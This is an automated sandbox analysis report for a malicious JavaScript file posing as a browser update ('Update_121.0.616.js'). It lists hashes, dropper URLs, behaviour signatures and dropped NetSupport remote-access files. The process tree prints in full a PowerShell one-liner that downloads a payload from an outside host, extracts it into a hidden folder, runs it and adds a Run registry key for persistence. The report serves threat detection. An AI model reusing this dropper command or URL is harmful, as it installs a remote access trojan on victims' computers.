Analysis

  • max time kernel
    77s
  • max time network
    85s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-03-2024 17:36

General

  • Target

    Update_121.0.616.js

  • Size

    2.1MB

  • MD5

    06d126c1c612fff5200d81d27a55146d

  • SHA1

    855c4d47c573c62f73c339a9392fb22265c0a884

  • SHA256

    6369daabaaddeae0814f8ad5a1a931d180a32d7ef9c5738215aead2f6a90849c

  • SHA512

    f29999b32558e4b3689b2439521c0266aba92afa312e4f230b4b7a0932ddfcc0b8141a77d966734bd65dba5f38cb714cf814bf4e42491709a99716b005f6b0d7

  • SSDEEP

    49152:blHeolHeolHeolHeolHeolHeolHeolHeolHeolHeolHeolHeTlHeolHeolHeolHJ:bhhhhhhhhhhhQhhhhhhhhhhhhhhhhhhd

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://edulokam.com/data.php?11245

exe.dropper

https://edulokam.com/data.php?11245

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_121.0.616.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4912
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HnNKeNXPxrsDgghL='https://edulokam.com/data.php?11245';$kaXfrnaBqEehUrhGaSQJKDJPltVqRaUrr=(New-Object System.Net.WebClient).DownloadString($HnNKeNXPxrsDgghL);$HVdGHZakbvkMCJvyJv=[System.Convert]::FromBase64String($kaXfrnaBqEehUrhGaSQJKDJPltVqRaUrr);$zxc = Get-Random -Minimum -10 -Maximum 37; $jFiIvMrNhWvsawDutNEwVeYMXHvvQ=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $jFiIvMrNhWvsawDutNEwVeYMXHvvQ -PathType Container)) { New-Item -Path $jFiIvMrNhWvsawDutNEwVeYMXHvvQ -ItemType Directory };$p=Join-Path $jFiIvMrNhWvsawDutNEwVeYMXHvvQ 'WWW.zip';[System.IO.File]::WriteAllBytes($p,$HVdGHZakbvkMCJvyJv);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$jFiIvMrNhWvsawDutNEwVeYMXHvvQ)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $jFiIvMrNhWvsawDutNEwVeYMXHvvQ 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else { Write-Host 'No exe.'};$AZ=Get-Item $jFiIvMrNhWvsawDutNEwVeYMXHvvQ -Force; $AZ.attributes='Hidden';$s=$jFiIvMrNhWvsawDutNEwVeYMXHvvQ+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICEC';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
      2⤵
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4812
      • C:\Users\Admin\AppData\Roaming\DIVX30\client32.exe
        "C:\Users\Admin\AppData\Roaming\DIVX30\client32.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3260
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4120 --field-trial-handle=2272,i,4858140932023865871,5726683989663339295,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:4576

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0h2qhnwo.wfx.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\DIVX30\HTCTL32.DLL

      Filesize

      320KB

      MD5

      c94005d2dcd2a54e40510344e0bb9435

      SHA1

      55b4a1620c5d0113811242c20bd9870a1e31d542

      SHA256

      3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

      SHA512

      2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

    • C:\Users\Admin\AppData\Roaming\DIVX30\MSVCR100.dll

      Filesize

      755KB

      MD5

      0e37fbfa79d349d672456923ec5fbbe3

      SHA1

      4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

      SHA256

      8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

      SHA512

      2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

    • C:\Users\Admin\AppData\Roaming\DIVX30\NSM.LIC

      Filesize

      258B

      MD5

      1b41e64c60ca9dfadeb063cd822ab089

      SHA1

      abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

      SHA256

      f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

      SHA512

      c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

    • C:\Users\Admin\AppData\Roaming\DIVX30\PCICL32.DLL

      Filesize

      1.1MB

      MD5

      ad78a0252563980a2e0b0d9b23a6bbbd

      SHA1

      00bf9267f5a121bb93e5147980cf33438789732f

      SHA256

      cbb6899ec35d39192fede29d06fcdc383151bf95db6982825929342413f99b39

      SHA512

      304987b3aa66d3e85bb19b8cdb532a1b41d7176a69d01c0ebd21fb8496fd6549addee13bafc0a149ed5111bded7530bffd34a6f5cc8d1882d5475960f27e1256

    • C:\Users\Admin\AppData\Roaming\DIVX30\PCICL32.dll

      Filesize

      1.8MB

      MD5

      109a4fcdd6b3d82343500887a93834a3

      SHA1

      00b85f9219068ebd169dc65fcfee403df547db8e

      SHA256

      6873f38f65df45eeb49a030adc2767be4f309d9c2aa5a5cd2696fa1718f5d9ad

      SHA512

      d27a777ccdc18588da37f5794e8c3bd2c0db64eaa3605698d0c88849ddd28919dd068822a2b252a0d0a057ea13f6522acee69ecf66e8c6387e10fe49d390404d

    • C:\Users\Admin\AppData\Roaming\DIVX30\client32.exe

      Filesize

      101KB

      MD5

      c4f1b50e3111d29774f7525039ff7086

      SHA1

      57539c95cba0986ec8df0fcdea433e7c71b724c6

      SHA256

      18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

      SHA512

      005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

    • C:\Users\Admin\AppData\Roaming\DIVX30\client32.ini

      Filesize

      677B

      MD5

      71086c6f76de8064c907c686a4ebec48

      SHA1

      31b6cb93fd02bad13daaf6771ae415328b89b562

      SHA256

      8cb783cc32f26bbdacf8b16403c194e4199169ef4dffe2f11c081f900f657bd9

      SHA512

      52d13f51b4e59d25382a06f8184ee5f66203bb5b0343861f38a56a567b20bc590eb7a9ba71f56dc73c01e4994fd23a13f70b2e68d1870798d04a6472e0bf2cd6

    • C:\Users\Admin\AppData\Roaming\DIVX30\pcicapi.dll

      Filesize

      32KB

      MD5

      34dfb87e4200d852d1fb45dc48f93cfc

      SHA1

      35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

      SHA256

      2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

      SHA512

      f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

    • C:\Users\Admin\AppData\Roaming\DIVX30\pcichek.dll

      Filesize

      18KB

      MD5

      104b30fef04433a2d2fd1d5f99f179fe

      SHA1

      ecb08e224a2f2772d1e53675bedc4b2c50485a41

      SHA256

      956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

      SHA512

      5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

    • memory/4812-20-0x00000164AEBB0000-0x00000164AEBC0000-memory.dmp

      Filesize

      64KB

    • memory/4812-25-0x00000164AEF90000-0x00000164AEFA2000-memory.dmp

      Filesize

      72KB

    • memory/4812-95-0x00007FFDB7FE0000-0x00007FFDB8AA1000-memory.dmp

      Filesize

      10.8MB

    • memory/4812-24-0x00000164AEF60000-0x00000164AEF6A000-memory.dmp

      Filesize

      40KB

    • memory/4812-22-0x00000164AEBB0000-0x00000164AEBC0000-memory.dmp

      Filesize

      64KB

    • memory/4812-21-0x00000164AEBB0000-0x00000164AEBC0000-memory.dmp

      Filesize

      64KB

    • memory/4812-19-0x00007FFDB7FE0000-0x00007FFDB8AA1000-memory.dmp

      Filesize

      10.8MB

    • memory/4812-14-0x00000164AEBF0000-0x00000164AEC12000-memory.dmp

      Filesize

      136KB